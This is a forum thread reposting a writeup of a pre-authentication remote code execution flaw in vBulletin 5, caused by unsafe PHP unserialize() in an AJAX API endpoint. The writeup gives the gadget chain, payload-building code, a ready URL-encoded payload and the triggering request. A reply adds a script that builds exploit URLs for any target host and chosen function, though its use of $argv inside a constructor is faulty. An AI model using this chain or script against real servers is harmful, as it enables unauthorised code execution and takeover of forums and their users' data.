Nytro Posted November 5, 2015 Report Posted November 5, 2015 vBulletin 5 PreAuth RCE writeupby @_cutzAs came to my attention a guy named Coldzer0 is selling a vBulletin RCE expoit on http://0day.today.In his video he exploited several vBulletin boards while surfing on Google... This ended in the vBulletin main forum being pwned on monday (11/02/15).vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php: public function decodeArguments($arguments) { if ($args = @Unserialize($arguments)) { $result = ''; foreach ($args AS $varname => $value) { $result .= $varname;Apart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:class vB_dB_Result implements Iterator{... public function rewind() { //no need to rerun the query if we are at the beginning of the recordset. if ($this->bof) { return; } if ($this->recordset) { $this->db->free_result($this->recordset); }rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:abstract class vB_Database{... function free_result($queryresult) { $this->sql = ''; return @$this->functions['free_result']($queryresult); }Which gives easy RCE. Setup objects accordingly:$ php << 'eof'<?phpclass vB_Database { public $functions = array(); public function __construct() { $this->functions['free_result'] = 'phpinfo'; }}class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database(); $this->recordset = 1; }}print urlencode(serialize(new vB_dB_Result())) . "\n";eofO%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7DJust surf to:[url]http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D[/url]The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years. -- cutzSursa: Private Paste - Pastie Quote
EcHoLL Posted November 5, 2015 Report Posted November 5, 2015 <?phpif ($argc < 3) { print 'php ' . $argv[0] . ' <target> <payload>'; die();}class vB_Database { public $functions = array(); public function __construct() { $this->functions['free_result'] = $argv[2]; }}class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database(); $this->recordset = 1; }}$x = urlencode(serialize(new vB_dB_Result()));print 'http://' . $argv[1] . '/ajax/api/hook/decodeArguments?arguments=' . $x;?> Quote